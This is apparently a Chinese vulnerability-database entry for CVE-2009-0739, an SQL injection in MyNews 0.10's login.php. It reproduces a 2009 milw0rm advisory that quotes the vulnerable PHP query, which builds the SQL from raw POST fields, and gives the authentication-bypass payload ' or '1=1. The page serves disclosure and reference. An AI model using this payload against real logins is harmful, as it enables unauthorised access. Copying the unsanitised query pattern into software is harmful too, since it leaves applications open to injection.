https://www.exploit-db.com/exploits/8034
https://cxsecurity.com/issue/WLB-2009020284
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-564
Frankmancuso MyNews 'login.php' SQL注入漏洞






漏洞ID | 1117385 | 漏洞类型 | SQL注入 |
发布时间 | 2009-02-10 | 更新时间 | 2009-02-25 |
![]() |
CVE-2009-0739 | ![]() |
CNNVD-200902-564 |
漏洞平台 | PHP | CVSS评分 | 7.5 |
|漏洞来源
|漏洞详情
MyNews是一款Frankmancuso开发的新闻管理程序。MyNews0.10版本的login.php中存在SQL注入漏洞。远程攻击者可以借助(1)用户名参数和(2)passwd参数,执行任意SQL指令。
|漏洞EXP
#########################################################################################
[0x01] Informations:
Name : Mynews 0_10
Download :
http://prdownloads.sourceforge.net/mynews/mynews_beta_0_10.zip?download
Vulnerability : Auth Bypass
Author : x0r
Contact : andry2000@hotmail.it
Notes : Proud to be Italian
#########################################################################################
[0x02] Bug:
Bugged file is /[path]/login.php
[Code]
if ( $request == "POST" )
{
$username = $_POST['username'];
$passwd = $_POST['passwd'];
// Call mysql class
$db = new db;
$db->info['sql_host'] = $conf['sql_host'];
$db->info['sql_user'] = $conf['sql_user'];
$db->info['sql_pass'] = $conf['sql_pass'];
$db->info['sql_db'] = $conf['sql_db'];
$db->connect();
$sql = "SELECT * FROM users WHERE username='$username' &&
password='$passwd' ";
$check_query = $db->query($sql);
$row = mysql_numrows($check_query);
[/code]
#########################################################################################
[0x03] Exploit:
Exploit: ' or '1=1
########################################################################################
# milw0rm.com [2009-02-10]
|参考资料
来源:BID
名称:33728
链接:http://www.securityfocus.com/bid/33728
来源:MILW0RM
名称:8034
链接:http://www.milw0rm.com/exploits/8034
检索漏洞
开始时间
结束时间